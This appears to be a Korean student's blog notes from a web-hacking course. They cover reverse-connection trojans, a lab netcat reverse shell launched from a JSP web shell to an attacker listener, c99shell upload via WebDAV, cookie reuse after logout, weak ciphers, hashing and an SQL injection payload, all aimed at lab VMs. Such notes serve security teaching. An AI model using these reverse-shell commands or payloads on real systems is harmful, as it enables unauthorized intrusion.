보안/웹 보안

0907 웹해킹 4일차(Application Security) → 다시 볼 것

Bordercolli 2022. 9. 7. 17:20
728x90

웹 해킹 4일차

<복습>

공격자가 공격대상과 연결하는 방법

backdoor

공격자가 공격대상에 접근하는 방식

미리 공격대상(피해자)에 백도어를 설치하거나 취약한 어플리케이션을 사용하는 경우

방화벽에 의해서 대부분 차단됨. 이 방법은 2%만 사용된다.

2010년대 초반ᄁᆞ지나 쓰인 방법

 

2. reverse connection(trojan horse)

공격대상이 공격자쪽으로 접근하는 방식

공격대상에 RAT(Remote access trojan)을 미리 침투시켜서 실행될 경우, 공격자쪽으로 미리 준비한 컴퓨터로 연결 시도 (트로이 목마 방식)

방화벽을 우회할 수 있음.

이 방법이 가장 많이 사용된다.

주로 할 수 있는 방법: 이메일을 보내는 방법(고객님 이번에 할인쿠폰 드려요(첨부파일 형식)), 초대장, 항공권, 초대장, 논문참고

이메일을 보내는 방법: spear phising(특정인을 겨냥해서 메일을 보낸다.)

이력서.hwp를 다운받았는데, .exe가 나와 직접 클릭하면 랜섬웨어에 걸리게 된다.

 

- 웹서버에 미리 올려놓은 RAT을 실행시키는 방법

 

실습준비)

1. 우분투가 잠기지 않도록 설정한다.

전원 > 설정 > 빈화면: 5안함

설정 > 개인정보 > 화면잠금> 자동화면잠금 끄기

 

참고) 실무에서는 화면을 잠그는 것이 보안에 유리함.

 

실습개요) Reverse conncection방식으로 연결, win2003RAt(netcat)을 이용해서 연결, 웹브라우저에서 실행

공격자: 서버: 우분투

-피해자: 클라이언트: 윈도우2003의 웹쉘에서 명령어를 입력

$nc l p 8000 // -l: listening(준비) -p: port #8000번 포트를 열고 준비(서버)

http://192.168.5.141/uploadfile/cmdjsp.jsp

간단한 웹 쉘 창에서 whoami, ipconfig, dir 등 윈도우 커맨드 명령어가 실행되는 것을 볼 수 있다.

c:\wine.exe 192.168.5.128 8000 e cmd.exe

c:\V3A.exe 192.168.5.128 8000 e cmd.exe

 

wine.exe는 시스템파일로 되어있으므로, 윈도우 탐색기에서 도구> 폴더옵션> 보기> 보호된 운영체제 파일 숨기기 (체크해제)

 

 

modsecurity : 웹 방화벽

zed attack proxy: 취약점 분석 도구(오픈소스)

 

owasptop10 취약점을 알아야 하는 이유

가장 최신의 웹 보안 트랜드를 알 수 있음.

전세계의 보안 전문가들을 대상으로 설문을 한다.

 

 

대응 방법

명백한 허용을 제외하고 모두 거부(deny all philosyphy: 모든 것을 거부하는 원칙)

특별히 허용되어야할 것만 허용한다.

디렉토리 리스팅(파일이 그대로 노출) 차단

관리자가 일부러 디렉토리 리스팅을 하는 경우는 상관 없음

관리자가 모르는 상태에서 디렉터리가 리스xldehllsek면 모든 파일이 인터넷에 노출됨 이런 경우가 문제가 된다.

로그아웃하기 전에 쿠키값을 복사하고 로그아웃을 한다. 그런 다음 다시 복사한 값을 복사한 쿠키를 로그아웃 이후에 다시 붙여넣기를 한다. 그런 다음에 재방문을 한다. 그러면 계속 사용자로 떠있는 경우가 있는데, 이를 사용자로 계속 인식하게 된다.

복사한 쿠키를 서버쪽에서 지웠다면 로그아웃한 다음 사용이 만료된 쿠키입니다.’ 이게 정상인데, 만료된 쿠키로 인식하지 않는다.

 

 

칼리 리눅스 시간을 맞추는 이유 로그 등을 확인하기 위해서는 시간을 정확히 맞춰야 한다.

 

* 칼리리눅스란?

- offensive security, 취약점을 제보하는 exploit-db.com을 운영하는 기업으로 무료로 칼리 리눅스를 배포

취약점에 대한 test를 위해서 각종 해킹툴 및 취약점 분석도구를 설치해서 test를 해보기 위한 배포

OSdebian linux는 기본만 설치되어 있고, 여기에다가 다양한 해킹툴 및 취약점 분석 도구가 설치되어 있다. 200개 정도 설치되어 있음(추가로 400개 설치 가능)

원래 이름이 Backtrack이었는데, 어떤 영국 음반사가 이름 권리를 주장해서 칼리 리눅스로 변경함.

칼리란? 인도의 전쟁을 주관하는 여신, siba신의 부인이다.

 

Bee box

bug: sw코딩 오류

buggy web application(모의 웹해킹 연습장) 리눅스, 아파치2, mysql, php(lamp)bwapp을 동작시키면 웹 해킹 연습장이 된다.

vmware용으로 만든 가상서버이미지(lamp+bwapp)beebox라고 한다.

웹 해킹 연습장으로 만들었는데, 애플리케이션으로 만들었다가 세팅을 못하는 사람들을 위해 beebox를 만들어 배포, beebox벌집을 의미한다.

owasp top10을 기준으로 만듦.

 

우분투: 192.168.5.128

칼리: 192.168.5.129

bee: 192.168.5.130

 

webdav? 웹을 개발할 때 여러 개발자들이 파일을 업로드하고 수정 및 삭제 등을 위해 열어놓은 디렉터리

 

beebox에는 c99shell.php를 원래 버전으로 업로드 가능

 

webdav디렉터리에 파일 업로드가 되는 원인

put, copy, delete 이 허용되어 있기 때문에(공동으로 작업하다가 파일을 수정, 삭제, 업로드 등을 하기 위해서 다양한 method가 허용됨.)

 

암호화 실패 이유

암호화를 잘 못하는 이유

암호화 및 복호화하는데 컴퓨터 연산량이 많아지는 문제 서버 부하

오래된 웹사이트, 옛날에 만든 페이지가 그대로 남아있는 경우

처음에는 안전한 암호화였으나, 시간이 지남에 따라 컴퓨터의 성능이 엄청나게 발전해서 쉽게 크래킹이 될 수 있는 상태가 됨.

 

안전하지 않은 암호화

대칭키: DES, 3DES, RC4 등등, ECB방식

공개키: RSA1024bit 이하

해시함수: MD5, SHA1

 

cf. SEED: 우리 나라에서 만든 대칭키로 아직ᄁᆞ지 안전한 것으로 판단 은행 중앙망에서 사용

 

salt: 해시함수와 원문이 같으면 해시값이 같아지기 때문에, salt를 원문에 섞어서 해시값을 계산, 해시값이 다 달라지게 됨.

 

실습) 해시함수 사용하기

사용방법:

$ md5sum hacker.jpg

b28474dae115382b289e97b5225354d flower.jpg

해시값

$ cp flower.jpg /home/kali

$ sudo vi flower.jpg

i를 누르면 편집모드로 변경(--insert--)

(적당히 변경)

ESC를 누르면 편집모드에서 명령모드로 변경

:wq // write and quit (저장 후 변경)

(만일 저장하지 않고 나오려면 :q!)

 

$ md5sum hacker.jpg /home/kali/flower.jpg // 두 개의 파일을 비교함

해쉬값이 서로 다름(원문이 달라졌음을 알 수 있음)

 

취약한 해시를 사용했을 때의 문제점

 

A1. 인젝션

/SQL Injection(GET/Search)/

1) 모든 영화가 나오게 하려면

‘ or 1=1 #

검색하는 SELECT문 예상: select * from ?? where movie = ‘% %’;

 

2) 공격자가 원하는 것은? 모든 사용자의 idpw입니다. 이를 알아내서 은행 사이트에 넣는다. 이런 식으로 사용한다.

 

MYSQL에서 db에 대한 정보는 information_schema라고 하는 DB에 저장되어 있음(메타데이터)